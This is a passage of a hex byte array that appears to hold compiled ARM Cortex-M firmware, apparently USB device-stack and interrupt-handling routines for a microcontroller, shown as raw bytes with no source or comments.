0x61, 0xf3, 0x0f, 0x02, 0x60, 0xf3, 0x1f, 0x42, 0x4f, 0xf4, 0x10, 0x71,
0xc3, 0xf8, 0x04, 0x21, 0x61, 0xf3, 0x0f, 0x02, 0xc0, 0xf2, 0x20, 0x02,
0x4f, 0xf4, 0x18, 0x71, 0xc3, 0xf8, 0x08, 0x21, 0x61, 0xf3, 0x0f, 0x02,
0x60, 0xf3, 0x1f, 0x42, 0x4f, 0xf4, 0x58, 0x71, 0xc3, 0xf8, 0x0c, 0x21,
0x61, 0xf3, 0x0f, 0x02, 0xc0, 0xf2, 0x20, 0x02, 0x4f, 0xf4, 0x60, 0x71,
0xc3, 0xf8, 0x10, 0x21, 0x61, 0xf3, 0x0f, 0x02, 0xc0, 0xf2, 0x40, 0x02,
0xc3, 0xf8, 0x14, 0x21, 0x10, 0x20, 0x02, 0xf0, 0xbd, 0xf8, 0x00, 0x23,
0x07, 0x93, 0x07, 0x9b, 0x43, 0xf0, 0x10, 0x03, 0x07, 0x93, 0x07, 0x9b,
0xe2, 0x68, 0x13, 0x61, 0x4e, 0x4b, 0x11, 0x69, 0x01, 0x3b, 0x07, 0x91,
0x02, 0xd0, 0x07, 0x99, 0xc9, 0x06, 0xf8, 0xd4, 0x03, 0x20, 0x00, 0xf0,
0x11, 0xff, 0x22, 0x69, 0x00, 0x23, 0x13, 0x61, 0x22, 0x69, 0x4f, 0xf0,
0xff, 0x31, 0x53, 0x61, 0x91, 0x61, 0xd3, 0x61, 0x45, 0x4a, 0x61, 0x78,
0x8b, 0x42, 0x10, 0xd2, 0x10, 0x68, 0x01, 0x33, 0x01, 0x68, 0x00, 0x29,
0xac, 0xbf, 0x00, 0x21, 0x4f, 0xf0, 0x90, 0x41, 0x01, 0x60, 0x11, 0x68,
0x00, 0x20, 0x08, 0x61, 0x52, 0xf8, 0x04, 0x1b, 0xff, 0x20, 0x88, 0x60,
0xeb, 0xe7, 0x3c, 0x4b, 0x00, 0x21, 0x60, 0x78, 0x37, 0x4a, 0x81, 0x42,
0x10, 0xd2, 0x18, 0x68, 0x01, 0x31, 0x02, 0x68, 0x00, 0x2a, 0xac, 0xbf,
0x00, 0x22, 0x4f, 0xf0, 0x90, 0x42, 0x02, 0x60, 0x1a, 0x68, 0x00, 0x20,
0x10, 0x61, 0x53, 0xf8, 0x04, 0x2b, 0xff, 0x20, 0x90, 0x60, 0xea, 0xe7,
0x11, 0x69, 0x0b, 0x69, 0x43, 0xf4, 0x80, 0x73, 0x0b, 0x61, 0xd1, 0x78,
0x01, 0x29, 0x01, 0xbf, 0x2d, 0x4b, 0x40, 0x20, 0x12, 0x69, 0x60, 0xf3,
0x59, 0x43, 0x08, 0xbf, 0x13, 0x63, 0xe2, 0x68, 0x00, 0x23, 0x93, 0x61,
0x4f, 0xf0, 0xff, 0x30, 0x6f, 0xf0, 0x80, 0x43, 0x53, 0x61, 0x50, 0x60,
0xe2, 0x68, 0x00, 0x29, 0x53, 0x61, 0x25, 0x4b, 0x93, 0x61, 0x14, 0xbf,
0x4f, 0xf4, 0x00, 0x63, 0x4f, 0xf4, 0x01, 0x63, 0x43, 0xf4, 0x70, 0x13,
0x91, 0x69, 0x43, 0xf4, 0x40, 0x53, 0x43, 0xf0, 0x08, 0x03, 0x0b, 0x43,
0x93, 0x61, 0x93, 0x68, 0x43, 0xf0, 0x01, 0x03, 0x93, 0x60, 0xd4, 0xf8,
0xc8, 0x34, 0x0b, 0xb1, 0x1b, 0x68, 0x98, 0x47, 0x4d, 0x23, 0x02, 0x26,
0x00, 0x25, 0x01, 0x24, 0x08, 0xa8, 0x8d, 0xf8, 0x20, 0x30, 0x8d, 0xf8,
0x21, 0x60, 0x8d, 0xf8, 0x22, 0x50, 0x8d, 0xf8, 0x23, 0x40, 0x02, 0xf0,
0x91, 0xfb, 0x4a, 0x23, 0x08, 0xa8, 0x8d, 0xf8, 0x20, 0x30, 0x8d, 0xf8,
0x21, 0x60, 0x8d, 0xf8, 0x22, 0x50, 0x8d, 0xf8, 0x23, 0x40, 0x02, 0xf0,
0x85, 0xfb, 0x4b, 0x23, 0x08, 0xa8, 0x8d, 0xf8, 0x20, 0x30, 0x8d, 0xf8,
0x21, 0x60, 0x8d, 0xf8, 0x22, 0x50, 0x8d, 0xf8, 0x23, 0x40, 0x02, 0xf0,
0x79, 0xfb, 0xfe, 0xe7, 0x18, 0x14, 0x00, 0x20, 0x41, 0x0d, 0x03, 0x00,
0x30, 0x14, 0x00, 0x20, 0x60, 0x14, 0x00, 0x20, 0x03, 0x01, 0x01, 0x00,
0x00, 0x08, 0x00, 0x80, 0x01, 0x46, 0x58, 0xb1, 0x43, 0x78, 0xee, 0x2b,
0x08, 0xd1, 0x83, 0x88, 0x04, 0x2b, 0x05, 0xd1, 0x43, 0x88, 0x1b, 0xb9,
0x02, 0x4b, 0x03, 0x48, 0x9b, 0x68, 0x18, 0x47, 0x02, 0x20, 0x70, 0x47,
0x54, 0x00, 0x00, 0x20, 0x18, 0x14, 0x00, 0x20, 0x70, 0x47, 0x00, 0x00,
0x30, 0xb5, 0x13, 0x4b, 0x42, 0x01, 0x9c, 0x18, 0x64, 0x8a, 0xac, 0xb1,
0xc4, 0xb2, 0x03, 0xeb, 0x44, 0x14, 0x65, 0x68, 0x24, 0x89, 0x2d, 0x69,
0x2c, 0x42, 0x14, 0xbf, 0x01, 0x24, 0x00, 0x24, 0x8c, 0x42, 0x09, 0xd1,
0x99, 0x5c, 0x09, 0xb9, 0x01, 0x21, 0x99, 0x54, 0x13, 0x44, 0x1a, 0x8a,
0x0a, 0x32, 0x92, 0xb2, 0x1a, 0x82, 0x30, 0xbd, 0x9b, 0x5c, 0x43, 0xb1,
0x04, 0x4b, 0x00, 0x21, 0x99, 0x54, 0xc0, 0xb2, 0x01, 0x21, 0xbd, 0xe8,
0x30, 0x40, 0x01, 0xf0, 0xf3, 0xbc, 0x30, 0xbd, 0x10, 0x01, 0x00, 0x20,
0x38, 0xb5, 0x0a, 0x4a, 0x43, 0x01, 0xd4, 0x18, 0x65, 0x8a, 0x8d, 0x42,
0x0d, 0xd1, 0x00, 0x21, 0x21, 0x82, 0x01, 0x24, 0xd4, 0x54, 0xc0, 0xb2,
0x01, 0xf0, 0xe2, 0xfc, 0x4f, 0xf0, 0x80, 0x42, 0x93, 0x89, 0x9b, 0xb2,
0x43, 0xf0, 0x02, 0x03, 0x93, 0x81, 0x38, 0xbd, 0x10, 0x01, 0x00, 0x20,
0x2d, 0xe9, 0xf0, 0x4f, 0x94, 0x4c, 0x85, 0xb0, 0xe3, 0x68, 0x5a, 0x69,
0xd6, 0x07, 0x00, 0xf1, 0x58, 0x82, 0x5a, 0x69, 0x9f, 0x69, 0x17, 0x40,
0x00, 0xf0, 0x53, 0x82, 0xc7, 0xf3, 0x07, 0x4b, 0x1b, 0xf0, 0x08, 0x0f,
0x57, 0xd0, 0xa1, 0x46, 0x22, 0x69, 0x04, 0xf1, 0x48, 0x08, 0x93, 0x69,
0xd6, 0x69, 0x4f, 0xf0, 0x00, 0x0a, 0x1e, 0x40, 0x36, 0x0c, 0x00, 0x2e,
0x4b, 0xd0, 0xf5, 0x07, 0x41, 0xd5, 0x5f, 0xfa, 0x8a, 0xf1, 0x04, 0xeb,
0x81, 0x03, 0x9b, 0x6c, 0x9a, 0x68, 0x23, 0x69, 0x5d, 0x69, 0x15, 0x40,
0xe8, 0x07, 0x26, 0xd5, 0xd8, 0xf8, 0x00, 0x30, 0x01, 0x25, 0x9d, 0x60,
0x7d, 0x4b, 0xdb, 0x78, 0xab, 0x42, 0x01, 0xbf, 0xd8, 0xf8, 0x00, 0x30,
0x1b, 0x69, 0xc3, 0xf3, 0x12, 0x02, 0xd9, 0xf8, 0xd4, 0x32, 0x04, 0xbf,
0x9b, 0x1a, 0xc9, 0xf8, 0xe4, 0x32, 0x77, 0x4a, 0x75, 0x4b, 0x12, 0x68,
0x18, 0x46, 0x01, 0x93, 0x90, 0x47, 0xe2, 0x78, 0x01, 0x9b, 0x01, 0x2a,
0x09, 0xd1, 0xba, 0xf1, 0x00, 0x0f, 0x06, 0xd1, 0x93, 0xf8, 0xe1, 0x20,
0x05, 0x2a, 0x02, 0xd1, 0x18, 0x46, 0x02, 0xf0, 0x0b, 0xf9, 0xa9, 0x07,
0x42, 0xbf, 0xd8, 0xf8, 0x00, 0x30, 0x02, 0x25, 0x9d, 0x60, 0x2a, 0x07,
0x07, 0xd5, 0x69, 0x4b, 0x67, 0x48, 0x9b, 0x68, 0x98, 0x47, 0xd8, 0xf8,
0x00, 0x30, 0x08, 0x25, 0x9d, 0x60, 0x0a, 0xf1, 0x01, 0x0a, 0x76, 0x08,
0x08, 0xf1, 0x04, 0x08, 0x09, 0xf1, 0x28, 0x09, 0xb1, 0xe7, 0x1b, 0xf0,
0x04, 0x0f, 0x00, 0xf0, 0xc3, 0x80, 0x23, 0x69, 0xdf, 0xf8, 0x7c, 0x81,
0x9a, 0x69, 0xdb, 0x69, 0xa8, 0xf1, 0x18, 0x06, 0x02, 0xea, 0x03, 0x09,
0x1f, 0xfa, 0x89, 0xf9, 0x4f, 0xf0, 0x00, 0x0a, 0xb9, 0xf1, 0x00, 0x0f,
0x00, 0xf0, 0xb2, 0x80, 0x19, 0xf0, 0x01, 0x0f, 0x00, 0xf0, 0xa0, 0x80,
0x21, 0x69, 0x5f, 0xfa, 0x8a, 0xfb, 0x0b, 0x69, 0x4a, 0x6b, 0x04, 0xeb,
0x8b, 0x00, 0x80, 0x69, 0x22, 0xfa, 0x0b, 0xf2, 0xd2, 0x01, 0x80, 0x68,
0xd2, 0xb2, 0x42, 0xea, 0x03, 0x05, 0x05, 0x40, 0xeb, 0x07, 0xdf, 0xf8,
0x2c, 0xc1, 0x20, 0xd5, 0x4b, 0x6b, 0x01, 0x25, 0x05, 0xfa, 0x0a, 0xf2,
0x23, 0xea, 0x02, 0x03, 0x4b, 0x63, 0xd8, 0xf8, 0x00, 0x30, 0x60, 0x46,
0x9d, 0x60, 0x45, 0x4b, 0x59, 0x46, 0x5b, 0x68, 0xcd, 0xf8, 0x04, 0xc0,
0x98, 0x47, 0xdd, 0xf8, 0x04, 0xc0, 0x9c, 0xf8, 0x03, 0x30, 0xab, 0x42,
0x09, 0xd1, 0xba, 0xf1, 0x00, 0x0f, 0x06, 0xd1, 0x9c, 0xf8, 0xe1, 0x30,
0x04, 0x2b, 0x02, 0xd1, 0x60, 0x46, 0x02, 0xf0, 0xa5, 0xf8, 0x28, 0x07,
0x42, 0xbf, 0xd8, 0xf8, 0x00, 0x30, 0x08, 0x25, 0x9d, 0x60, 0xe9, 0x06,
0x42, 0xbf, 0xd8, 0xf8, 0x00, 0x30, 0x10, 0x25, 0x9d, 0x60, 0x6a, 0x06,
0x42, 0xbf, 0xd8, 0xf8, 0x00, 0x30, 0x40, 0x25, 0x9d, 0x60, 0xab, 0x07,
0x42, 0xbf, 0xd8, 0xf8, 0x00, 0x30, 0x02, 0x25, 0x9d, 0x60, 0x2d, 0x06,
0x50, 0xd5, 0xd6, 0xf8, 0x00, 0x31, 0xd6, 0xf8, 0x04, 0x21, 0x9a, 0x1a,
0xd6, 0xf8, 0xf4, 0x30, 0x93, 0x42, 0x28, 0xbf, 0x13, 0x46, 0x03, 0x33,
0x9b, 0x08, 0xd8, 0xf8, 0x00, 0x20, 0x92, 0x69, 0x92, 0xb2, 0x9a, 0x42,
0x3a, 0xd9, 0xd6, 0xf8, 0x04, 0x01, 0xd6, 0xf8, 0x00, 0x31, 0x98, 0x42,
0x34, 0xd2, 0x9b, 0xb3, 0x1b, 0x1a, 0xd6, 0xf8, 0xf4, 0x00, 0xe1, 0x78,
0x98, 0x42, 0x28, 0xbf, 0x18, 0x46, 0xc3, 0x1c, 0x9b, 0x08, 0xd6, 0xf8,
0xf8, 0xe0, 0xb9, 0xb1, 0xd6, 0xf8, 0xf8, 0x10, 0xd6, 0xf8, 0x04, 0x21,
0x01, 0x44, 0xc6, 0xf8, 0xf8, 0x10, 0xd6, 0xf8, 0x00, 0x11, 0x02, 0x44,
0x8a, 0x42, 0xc6, 0xf8, 0x04, 0x21, 0xd8, 0xd3, 0x21, 0x69, 0x96, 0xf8,
0xec, 0x00, 0x4a, 0x6b, 0x01, 0x23, 0x83, 0x40, 0x22, 0xea, 0x03, 0x03,
0x4b, 0x63, 0x0f, 0xe0, 0x0d, 0x4a, 0x85, 0xb2, 0x02, 0xeb, 0x8b, 0x02,
0x03, 0x35, 0xd2, 0xf8, 0xac, 0x20, 0x4f, 0xea, 0xa5, 0x0c, 0x61, 0x45,
0xdc, 0xd0, 0x5e, 0xf8, 0x21, 0x50, 0x01, 0x31, 0x15, 0x60, 0xf8, 0xe7,
0xd8, 0xf8, 0x00, 0x30, 0x80, 0x25, 0x9d, 0x60, 0x0a, 0xf1, 0x01, 0x0a,
0x4f, 0xea, 0x59, 0x09, 0x08, 0xf1, 0x04, 0x08, 0x28, 0x36, 0x4f, 0xe7,
0x18, 0x14, 0x00, 0x20, 0x88, 0x00, 0x00, 0x20, 0x30, 0x14, 0x00, 0x20,
0xfe, 0xb2, 0xb0, 0x07, 0x42, 0xbf, 0xe3, 0x68, 0x02, 0x22, 0x5a, 0x61,
0x00, 0x2f, 0x18, 0xda, 0xa3, 0x7a, 0x94, 0x4a, 0x43, 0xb1, 0xd2, 0xf8,
0xdc, 0x30, 0xd2, 0xf8, 0xdc, 0x20, 0x6f, 0xf3, 0x41, 0x03, 0x6f, 0xf3,
0x00, 0x03, 0x13, 0x60, 0x22, 0x69, 0x8e, 0x48, 0x53, 0x68, 0x23, 0xf0,
0x01, 0x03, 0x53, 0x60, 0x8c, 0x4b, 0x9b, 0x69, 0x98, 0x47, 0xe3, 0x68,
0x4f, 0xf0, 0x00, 0x42, 0x5a, 0x61, 0xc7, 0xf3, 0x07, 0x25, 0x29, 0x07,
0x2f, 0xd5, 0x00, 0x23, 0x8d, 0xf8, 0x0f, 0x30, 0x94, 0xf8, 0xe2, 0x30,
0xdf, 0xf8, 0x0c, 0x82, 0x8d, 0xf8, 0x0f, 0x30, 0x82, 0x4b, 0x40, 0x46,
0x5b, 0x69, 0x98, 0x47, 0xe2, 0x68, 0x23, 0x69, 0x4f, 0xf4, 0x00, 0x61,
0x9b, 0x68, 0x51, 0x61, 0xa2, 0x7a, 0xd2, 0xb1, 0xda, 0x07, 0x18, 0xd5,
0x98, 0xf8, 0xe5, 0x30, 0x01, 0x2b, 0x14, 0xd1, 0x9d, 0xf8, 0x0f, 0x30,
0x03, 0x2b, 0x10, 0xd1, 0xd8, 0xf8, 0xdc, 0x20, 0x13, 0x68, 0x43, 0xf0,
0x01, 0x03, 0x13, 0x60, 0xd8, 0xf8, 0xdc, 0x20, 0x13, 0x68, 0x43, 0xf0,
0x03, 0x03, 0x13, 0x60, 0x72, 0x4a, 0x13, 0x69, 0x43, 0xf0, 0x06, 0x03,
0x13, 0x61, 0x33, 0x07, 0x06, 0xd5, 0x6e, 0x4b, 0x6c, 0x48, 0xdb, 0x68,
0x98, 0x47, 0xe3, 0x68, 0x08, 0x22, 0x5a, 0x61, 0xf6, 0x06, 0x4b, 0xd5,
0xe2, 0x68, 0x68, 0x4e, 0x91, 0x69, 0x21, 0xf0, 0x10, 0x01, 0x91, 0x61,
0x12, 0x6a, 0xc2, 0xf3, 0x43, 0x40, 0x02, 0x28, 0x02, 0xf0, 0x0f, 0x03,
0x14, 0xd0, 0x06, 0x28, 0x37, 0xd1, 0xd6, 0xf8, 0xac, 0x00, 0xc2, 0xf3,
0x0a, 0x12, 0x01, 0x68, 0xc6, 0xf8, 0xac, 0x14, 0x01, 0x68, 0xc6, 0xf8,
0xb0, 0x14, 0x28, 0x21, 0x01, 0xfb, 0x03, 0x63, 0xd3, 0xf8, 0xe4, 0x12,
0x0a, 0x44, 0xc3, 0xf8, 0xe4, 0x22, 0x24, 0xe0, 0x47, 0xf6, 0xf0, 0x70,
0x10, 0x40, 0x00, 0xb3, 0x28, 0x20, 0x00, 0xfb, 0x03, 0x60, 0xc2, 0xf3,
0x0a, 0x12, 0xd0, 0xf8, 0xd8, 0xe2, 0xd6, 0xf8, 0xac, 0x60, 0xd0, 0x1c,
0x80, 0x10, 0x00, 0x21, 0x81, 0x42, 0x05, 0xd0, 0xd6, 0xf8, 0x00, 0xc0,
0x4e, 0xf8, 0x21, 0xc0, 0x01, 0x31, 0xf7, 0xe7, 0x28, 0x21, 0x01, 0xfb,
0x03, 0x43, 0xd3, 0xf8, 0xd8, 0x02, 0xd3, 0xf8, 0xe4, 0x12, 0x10, 0x44,
0x11, 0x44, 0xc3, 0xf8, 0xd8, 0x02, 0xc3, 0xf8, 0xe4, 0x12, 0xe2, 0x68,
0x93, 0x69, 0x43, 0xf0, 0x10, 0x03, 0x93, 0x61, 0xe8, 0x06, 0x36, 0xd5,
0x22, 0x69, 0x00, 0x26, 0x53, 0x68, 0x30, 0x46, 0x23, 0xf0, 0x01, 0x03,
0x53, 0x60, 0x01, 0xf0, 0xcb, 0xfd, 0x33, 0x46, 0x94, 0xf8, 0x01, 0xe0,
0x3e, 0x4a, 0x73, 0x45, 0x07, 0xd2, 0x52, 0xf8, 0x04, 0x0f, 0xff, 0x21,
0x81, 0x60, 0x10, 0x6b, 0x01, 0x33, 0x81, 0x60, 0xf5, 0xe7, 0x23, 0x69,
0x4f, 0xf0, 0xff, 0x32, 0x9a, 0x61, 0x01, 0x22, 0x62, 0xf3, 0x0f, 0x06,
0x62, 0xf3, 0x1f, 0x46, 0x0b, 0x22, 0xde, 0x61, 0x5a, 0x61, 0xc3, 0xf8,
0x84, 0x20, 0x1a, 0x61, 0x21, 0x69, 0x2e, 0x48, 0x4a, 0x64, 0x0b, 0x68,
0x6f, 0xf3, 0x0a, 0x13, 0x0b, 0x60, 0x01, 0xf0, 0x4f, 0xff, 0xe3, 0x68,
0x4f, 0xf4, 0x80, 0x52, 0x5a, 0x61, 0x29, 0x4b, 0x27, 0x48, 0x1b, 0x69,
0x98, 0x47, 0xa9, 0x06, 0x31, 0xd5, 0x23, 0x69, 0xa1, 0x69, 0x9a, 0x68,
0x0b, 0x68, 0xc2, 0xf3, 0x41, 0x02, 0x02, 0x2a, 0x06, 0xbf, 0x03, 0x22,
0x62, 0xf3, 0x0a, 0x03, 0x6f, 0xf3, 0x0a, 0x03, 0x0b, 0x60, 0x22, 0x69,
0x53, 0x68, 0x43, 0xf4, 0x80, 0x73, 0x53, 0x60, 0xe1, 0x68, 0x23, 0x69,
0xca, 0x68, 0x9b, 0x68, 0xc3, 0xf3, 0x41, 0x03, 0x02, 0x2b, 0x0a, 0xd0,
0x03, 0x2b, 0x08, 0xd0, 0x01, 0x2b, 0x06, 0xd0, 0x00, 0x23, 0xa3, 0x70,
0x4f, 0xf4, 0x00, 0x73, 0xa3, 0x80, 0x09, 0x23, 0x04, 0xe0, 0x01, 0x23,
0xa3, 0x70, 0x40, 0x23, 0xa3, 0x80, 0x05, 0x23, 0x63, 0xf3, 0x8d, 0x22,
0xca, 0x60, 0xe3, 0x68, 0x4f, 0xf4, 0x00, 0x52, 0x5a, 0x61, 0xc7, 0xf3,
0x07, 0x47, 0xfa, 0x06, 0x07, 0xd5, 0x0b, 0x4b, 0x09, 0x48, 0xdb, 0x69,
0x98, 0x47, 0xe3, 0x68, 0x4f, 0xf4, 0x80, 0x12, 0x5a, 0x61, 0xbb, 0x06,
0x07, 0xd5, 0x06, 0x4b, 0x04, 0x48, 0x1b, 0x6a, 0x98, 0x47, 0xe3, 0x68,
0x4f, 0xf4, 0x00, 0x12, 0x5a, 0x61, 0x05, 0xb0, 0xbd, 0xe8, 0xf0, 0x8f,
0x18, 0x14, 0x00, 0x20, 0x88, 0x00, 0x00, 0x20, 0x00, 0xed, 0x00, 0xe0,
0x2c, 0x14, 0x00, 0x20, 0x10, 0xb5, 0xef, 0xf3, 0x10, 0x83, 0x72, 0xb6,
0x1d, 0x49, 0xdb, 0x07, 0x0a, 0x68, 0x02, 0xf1, 0x01, 0x02, 0x0a, 0x60,
0x1b, 0x4a, 0x51, 0x68, 0x1b, 0x4a, 0x11, 0x60, 0x00, 0xd4, 0x62, 0xb6,
0x1a, 0x4b, 0x1a, 0x68, 0x12, 0xb1, 0x1a, 0x68, 0x01, 0x3a, 0x1a, 0x60,
0x18, 0x4b, 0x1a, 0x68, 0x1c, 0x46, 0x1a, 0xb1, 0x1a, 0x68, 0x01, 0x3a,
0x1a, 0x60, 0x16, 0xe0, 0x15, 0x4b, 0x1b, 0x78, 0x2b, 0xb9, 0x15, 0x4b,
0x1b, 0x78, 0x13, 0xb9, 0x14, 0x4b, 0x1b, 0x78, 0x1b, 0xb1, 0x01, 0xf0,
0x4b, 0xfe, 0x32, 0x23, 0x08, 0xe0, 0x12, 0x4b, 0x1b, 0x78, 0x13, 0xb9,
0x11, 0x4b, 0x1b, 0x78, 0x1b, 0xb1, 0x01, 0xf0, 0x41, 0xfe, 0x64, 0x23,
0x23, 0x60, 0x0f, 0x4a, 0x13, 0x68, 0x33, 0xb1, 0x01, 0x3b, 0x13, 0x60,
0x1b, 0xb9, 0x00, 0xf0, 0xab, 0xfd, 0x01, 0xf0, 0xe7, 0xf9, 0x10, 0xbd,
0xf0, 0x01, 0x00, 0x20, 0x00, 0x10, 0x00, 0xe0, 0x00, 0x02, 0x00, 0x20,
0xf4, 0x01, 0x00, 0x20, 0xf8, 0x01, 0x00, 0x20, 0xfd, 0x01, 0x00, 0x20,
0xee, 0x01, 0x00, 0x20, 0xed, 0x01, 0x00, 0x20, 0xec, 0x01, 0x00, 0x20,
0xfc, 0x01, 0x00, 0x20, 0x14, 0x02, 0x00, 0x20, 0x70, 0x47, 0x70, 0x47,
0x70, 0x47, 0xfe, 0xe7, 0xfe, 0xe7, 0xfe, 0xe7, 0xfe, 0xe7, 0x70, 0x47,
0x4a, 0xf6, 0xaa, 0x22, 0x01, 0x4b, 0x00, 0x20, 0x1a, 0x60, 0x70, 0x47,
0x00, 0x30, 0x00, 0x40, 0x00, 0xeb, 0x40, 0x00, 0x01, 0x30, 0x0a, 0x5c,
0x0b, 0x18, 0x5b, 0x78, 0x11, 0x01, 0x10, 0x09, 0xc9, 0xb2, 0x1b, 0x09,
0x02, 0xf0, 0x0f, 0x02, 0x0a, 0x43, 0x43, 0xea, 0x03, 0x13, 0x43, 0xea,
0x02, 0x23, 0x40, 0xea, 0x00, 0x10, 0x43, 0xea, 0x00, 0x40, 0x70, 0x47,
0x02, 0x68, 0x0d, 0x4b, 0x13, 0x40, 0xb3, 0xf1, 0x00, 0x5f, 0x14, 0xbf,
0x03, 0x46, 0x00, 0xf5, 0xc2, 0x73, 0x5b, 0xb1, 0x1a, 0x68, 0x82, 0x42,
0x0a, 0xd1, 0x5a, 0x68, 0xb2, 0xf1, 0x01, 0x6f, 0x06, 0xd8, 0x9b, 0x89,
0x06, 0x3b, 0x58, 0x42, 0x58, 0x41, 0x02, 0xe0, 0x18, 0x46, 0x00, 0xe0,
0x00, 0x20, 0xc0, 0xb2, 0x70, 0x47, 0x00, 0xbf, 0x00, 0x00, 0xf1, 0x2f,
0x03, 0x46, 0x10, 0xb5, 0x08, 0x4a, 0x02, 0xeb, 0x43, 0x11, 0x0c, 0x8a,
0xa4, 0xb2, 0x43, 0xb9, 0x53, 0x8e, 0x33, 0xb1, 0x01, 0x20, 0xff, 0xf7,
0xf3, 0xff, 0xa0, 0x42, 0x4f, 0xf0, 0x01, 0x03, 0xf0, 0xd8, 0x20, 0x46,
0x10, 0xbd, 0x00, 0xbf, 0x10, 0x01, 0x00, 0x20, 0x10, 0xb5, 0x07, 0x4b,
0x42, 0x01, 0x9c, 0x5c, 0xe4, 0xb2, 0x30, 0xb9, 0x5b, 0x8e, 0x23, 0xb1,
0x01, 0x20, 0xff, 0xf7, 0xf5, 0xff, 0x20, 0x43, 0xc4, 0xb2, 0x20, 0x46,
0x10, 0xbd, 0x00, 0xbf, 0x10, 0x01, 0x00, 0x20, 0x10, 0xb5, 0x00, 0x20,
0x0d, 0x4c, 0x01, 0x46, 0xff, 0xf7, 0x8a, 0xfc, 0x94, 0xf8, 0x3c, 0x10,
0x01, 0x20, 0xa1, 0xf1, 0x08, 0x03, 0x59, 0x42, 0x59, 0x41, 0xff, 0xf7,
0x81, 0xfc, 0x23, 0x78, 0x94, 0xf8, 0x20, 0x00, 0x18, 0x18, 0x01, 0xbf,
0x4f, 0xf0, 0x80, 0x42, 0x93, 0x89, 0x23, 0xf0, 0x02, 0x03, 0x1b, 0x04,
0x04, 0xbf, 0x1b, 0x0c, 0x93, 0x81, 0x10, 0xbd, 0x10, 0x01, 0x00, 0x20,
0x4f, 0xf0, 0x80, 0x43, 0x19, 0x8a, 0x9a, 0x89, 0x89, 0x07, 0x92, 0xb2,
0x06, 0xd5, 0x92, 0x07, 0x04, 0xd5, 0x4f, 0xf6, 0xfd, 0x72, 0x1a, 0x82,
0xff, 0xf7, 0xd2, 0xbf, 0x70, 0x47, 0x00, 0x00, 0x10, 0xb5, 0x0a, 0x4b,
0x04, 0x46, 0x1a, 0x68, 0x59, 0x69, 0x08, 0x42, 0x0c, 0xd0, 0x10, 0x42,
0x0a, 0xd0, 0x21, 0x46, 0x58, 0x61, 0x00, 0x20, 0xff, 0xf7, 0x7c, 0xfc,
0x21, 0x46, 0xbd, 0xe8, 0x10, 0x40, 0x01, 0x20, 0xff, 0xf7, 0x76, 0xbc,
0x10, 0xbd, 0x00, 0xbf, 0x00, 0x3c, 0x01, 0x40, 0x01, 0xf0, 0x2e, 0xbc,
0x10, 0xb5, 0x0f, 0x4c, 0xa3, 0x7a, 0xb3, 0xb1, 0x0e, 0x4a, 0x13, 0x68,
0x23, 0xf0, 0x06, 0x03, 0x13, 0x60, 0x01, 0xf0, 0x0b, 0xfb, 0xa3, 0x7a,
0x6b, 0xb1, 0x23, 0x69, 0x9b, 0x68, 0xdb, 0x07, 0x41, 0xbf, 0xd4, 0xf8,
0xdc, 0x30, 0xd4, 0xf8, 0xdc, 0x20, 0x6f, 0xf3, 0x41, 0x03, 0x6f, 0xf3,
0x00, 0x03, 0x48, 0xbf, 0x13, 0x60, 0x04, 0x4b, 0x4f, 0xf4, 0x80, 0x12,
0x5a, 0x61, 0x10, 0xbd, 0x18, 0x14, 0x00, 0x20, 0x10, 0xed, 0x00, 0xe0,
0x00, 0x3c, 0x01, 0x40, 0x38, 0xb5, 0x04, 0x46, 0x00, 0x29, 0x39, 0xd1,
0x90, 0xf8, 0xe1, 0x30, 0x03, 0x2b, 0x3e, 0xd1, 0xd0, 0xf8, 0xe8, 0x22,
0xd0, 0xf8, 0xd4, 0x32, 0x9a, 0x42, 0x14, 0xd9, 0xc1, 0x78, 0xd2, 0x1a,
0x01, 0x29, 0x08, 0xbf, 0xd0, 0xf8, 0xd8, 0x12, 0xc0, 0xf8, 0xe8, 0x22,
0x04, 0xbf, 0xc9, 0x18, 0xc0, 0xf8, 0xd8, 0x12, 0x9a, 0x42, 0x28, 0xbf,
0x1a, 0x46, 0xd0, 0xf8, 0xd8, 0x12, 0x92, 0xb2, 0x01, 0xf0, 0xb5, 0xfc,
0x23, 0xe0, 0xd0, 0xf8, 0xc8, 0x34, 0x9b, 0xb1, 0xdb, 0x69, 0x8b, 0xb1,
0x90, 0xf8, 0xe2, 0x20, 0x03, 0x2a, 0x0d, 0xd1, 0x08, 0x46, 0x01, 0x21,
0x98, 0x47, 0x48, 0xb1, 0xd4, 0xf8, 0xc4, 0x34, 0x1b, 0x69, 0x2b, 0xb1,
0x94, 0xf8, 0xe2, 0x20, 0x03, 0x2a, 0x01, 0xd1, 0x20, 0x46, 0x98, 0x47,
0x20, 0x46, 0x00, 0xf0, 0xa1, 0xfc, 0x08, 0xe0, 0xd0, 0xf8, 0xc4, 0x34,
0x9b, 0x69, 0x23, 0xb1, 0x90, 0xf8, 0xe2, 0x20, 0x03, 0x2a, 0x00, 0xd1,
0x98, 0x47, 0x00, 0x20, 0x38, 0xbd, 0x00, 0x00, 0xf0, 0xb5, 0x90, 0xf8,
0xaf, 0x24, 0x90, 0xf8, 0xae, 0x34, 0x90, 0xf8, 0xb1, 0x54, 0x03, 0xeb,
0x02, 0x23, 0x90, 0xf8, 0xb0, 0x24, 0x90, 0xf8, 0xb3, 0x74, 0x02, 0xeb,
0x05, 0x25, 0x90, 0xf8, 0xb2, 0x24, 0x90, 0xf8, 0xac, 0x14, 0x02, 0xeb,
0x07, 0x22, 0x01, 0x27, 0x90, 0xf8, 0xad, 0x64, 0x80, 0xf8, 0xe1, 0x70,
0x01, 0xf0, 0x1f, 0x07, 0x85, 0xb0, 0x92, 0xb2, 0x9b, 0xb2, 0xad, 0xb2,
0x01, 0x2f, 0x04, 0x46, 0x8d, 0xf8, 0x08, 0x10, 0x8d, 0xf8, 0x09, 0x60,
0xad, 0xf8, 0x0a, 0x30, 0xad, 0xf8, 0x0c, 0x50, 0xad, 0xf8, 0x0e, 0x20,
0xc0, 0xf8, 0x10, 0x21, 0x00, 0xf0, 0x73, 0x81, 0x03, 0xd3, 0x02, 0x2f,
0x00, 0xf0, 0x82, 0x81, 0xeb, 0xe1, 0x01, 0xf0, 0x60, 0x01, 0x40, 0x29,
0x16, 0xd1, 0xd0, 0xf8, 0xc8, 0x34, 0x00, 0x2b, 0x00, 0xf0, 0xe7, 0x81,
0xdb, 0x69, 0x00, 0x2b, 0x00, 0xf0, 0xe3, 0x81, 0x02, 0xa8, 0x00, 0x21,
0x98, 0x47, 0xbd, 0xf8, 0x0e, 0x30, 0x1b, 0xb9, 0x00, 0x28, 0x40, 0xf0,
